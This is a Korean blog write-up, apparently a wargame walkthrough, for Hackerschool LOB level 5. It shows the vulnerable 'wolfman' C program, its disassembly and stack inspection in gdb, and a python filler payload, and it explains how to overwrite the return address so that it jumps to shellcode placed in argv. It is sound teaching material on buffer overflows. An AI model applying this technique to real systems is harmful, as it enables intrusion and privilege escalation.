본문 바로가기

Pwnable/LOB

[ProjectH4C] 해커스쿨 LOB(BOF 원정대) Level5

Orc로 로그인하면 wolfman과 wolfman.c가 보인다. 소스 코드부터 보기로 한다.

 

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
	char buffer[40];
	int i;

	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}

	// egghunter 
	for(i=0; environ[i]; i++)
		memset(environ[i], 0, strlen(environ[i]));

	if(argv[1][47] != '\xbf')
	{
		printf("stack is still your friend.\n");
		exit(0);
	}
	strcpy(buffer, argv[1]); 
	printf("%s\n", buffer);

        // buffer hunter
        memset(buffer, 0, 40);
}

orc의 코드와 모두 동일하지만 마지막에 memset 함수가 추가되었다. 일단 \xbf를 48개 입력한 후에, orc와 어떤 점이 다른지 확인해보기로 했다.

(gdb) disas main
Dump of assembler code for function main:
0x8048500 <main>:	push   %ebp
0x8048501 <main+1>:	mov    %ebp,%esp
0x8048503 <main+3>:	sub    %esp,44
0x8048506 <main+6>:	cmp    DWORD PTR [%ebp+8],1
0x804850a <main+10>:	jg     0x8048523 <main+35>
0x804850c <main+12>:	push   0x8048640
0x8048511 <main+17>:	call   0x8048410 <printf>
0x8048516 <main+22>:	add    %esp,4
0x8048519 <main+25>:	push   0
0x804851b <main+27>:	call   0x8048420 <exit>
0x8048520 <main+32>:	add    %esp,4
0x8048523 <main+35>:	nop    
0x8048524 <main+36>:	mov    DWORD PTR [%ebp-44],0x0
0x804852b <main+43>:	nop    
0x804852c <main+44>:	lea    %esi,[%esi*1]
0x8048530 <main+48>:	mov    %eax,DWORD PTR [%ebp-44]
0x8048533 <main+51>:	lea    %edx,[%eax*4]
0x804853a <main+58>:	mov    %eax,%ds:0x8049760
0x804853f <main+63>:	cmp    DWORD PTR [%eax+%edx],0
0x8048543 <main+67>:	jne    0x8048547 <main+71>
0x8048545 <main+69>:	jmp    0x8048587 <main+135>
0x8048547 <main+71>:	mov    %eax,DWORD PTR [%ebp-44]
0x804854a <main+74>:	lea    %edx,[%eax*4]
0x8048551 <main+81>:	mov    %eax,%ds:0x8049760
0x8048556 <main+86>:	mov    %edx,DWORD PTR [%eax+%edx]
0x8048559 <main+89>:	push   %edx
0x804855a <main+90>:	call   0x80483f0 <strlen>
0x804855f <main+95>:	add    %esp,4
0x8048562 <main+98>:	mov    %eax,%eax
0x8048564 <main+100>:	push   %eax
0x8048565 <main+101>:	push   0
0x8048567 <main+103>:	mov    %eax,DWORD PTR [%ebp-44]
0x804856a <main+106>:	lea    %edx,[%eax*4]
0x8048571 <main+113>:	mov    %eax,%ds:0x8049760
0x8048576 <main+118>:	mov    %edx,DWORD PTR [%eax+%edx]
0x8048579 <main+121>:	push   %edx
0x804857a <main+122>:	call   0x8048430 <memset>
0x804857f <main+127>:	add    %esp,12
0x8048582 <main+130>:	inc    DWORD PTR [%ebp-44]
0x8048585 <main+133>:	jmp    0x8048530 <main+48>
0x8048587 <main+135>:	mov    %eax,DWORD PTR [%ebp+12]
0x804858a <main+138>:	add    %eax,4
0x804858d <main+141>:	mov    %edx,DWORD PTR [%eax]
0x804858f <main+143>:	add    %edx,47
0x8048592 <main+146>:	cmp    BYTE PTR [%edx],0xbf
0x8048595 <main+149>:	je     0x80485b0 <main+176>
0x8048597 <main+151>:	push   0x804864c
0x804859c <main+156>:	call   0x8048410 <printf>
0x80485a1 <main+161>:	add    %esp,4
0x80485a4 <main+164>:	push   0
0x80485a6 <main+166>:	call   0x8048420 <exit>
0x80485ab <main+171>:	add    %esp,4
0x80485ae <main+174>:	mov    %esi,%esi
0x80485b0 <main+176>:	mov    %eax,DWORD PTR [%ebp+12]
0x80485b3 <main+179>:	add    %eax,4
0x80485b6 <main+182>:	mov    %edx,DWORD PTR [%eax]
0x80485b8 <main+184>:	push   %edx
0x80485b9 <main+185>:	lea    %eax,[%ebp-40]
0x80485bc <main+188>:	push   %eax
0x80485bd <main+189>:	call   0x8048440 <strcpy>
0x80485c2 <main+194>:	add    %esp,8
0x80485c5 <main+197>:	lea    %eax,[%ebp-40]
0x80485c8 <main+200>:	push   %eax
0x80485c9 <main+201>:	push   0x8048669
0x80485ce <main+206>:	call   0x8048410 <printf>
0x80485d3 <main+211>:	add    %esp,8
0x80485d6 <main+214>:	push   40
0x80485d8 <main+216>:	push   0
0x80485da <main+218>:	lea    %eax,[%ebp-40]
0x80485dd <main+221>:	push   %eax
0x80485de <main+222>:	call   0x8048430 <memset>
0x80485e3 <main+227>:	add    %esp,12
0x80485e6 <main+230>:	leave  
0x80485e7 <main+231>:	ret    
0x80485e8 <main+232>:	nop    
0x80485e9 <main+233>:	nop    
0x80485ea <main+234>:	nop    
0x80485eb <main+235>:	nop    
0x80485ec <main+236>:	nop    
0x80485ed <main+237>:	nop    
0x80485ee <main+238>:	nop    
0x80485ef <main+239>:	nop    
End of assembler dump.

 

memset을 호출하기 직전인 main+222에 중단점을 지정한 후, 스택의 상태를 보았다.

 

memset 호출 직전의 buf.

 

ebp의 주소.

 

 0xbffffae0부터 40바이트가 buffer이고, 그 뒤에있는 0xbffffb08부터 4바이트가 ebp, 그 뒤의 4바이트가 ret임을 알 수 있고, argv[1]의 시작 위치는 0xbffffc5c임을 알 수 있다. 이제 memset을 실행한 후에 상황이 어떤지 보기로 한다.

 

memset 호출 후의 buf.

buffer의 공간이 모두 0으로 초기화 되었다. 그렇다면 orc의 풀이처럼 argv[1]의 뒷부분에 쉘 코드를 작성하고 ret을 쉘 코드의 시작 주소로 덮어주면 문제 없이 작동할 것이다.

`python -c 'print "A"*44 + "\xbf\xbf\xbf\xbf" + "B"*150'`을 다시 입력한 후 argv[1]을 확인해보았다/

 

argv[1]의 주소.

42가 시작되는 주소인 0xbffffbf6이 쉘 코드가 시작되는 지점이기 때문에, bfbfbfbf대신 bffffbf6을 채워 넣으면 될 것이다. 바로 공격해보도록 한다.

 

 

성공!

 

쉘을 띄우는 데 성공하였다. 원래는 level4에서 버퍼에 쉘 코드를 작성해서 공격하고, 이번 레벨에서는 버퍼를 지워버리기 때문에 해당 방법을 통해 공격하는게 목표였던 것 같지만, 운이 좋게도 level4에서 사용한 방법이 level5의 풀이에까지 적용이 되었다.

 

공격에 성공했으니 my-pass를 입력해서 비밀번호를 알아내면 된다.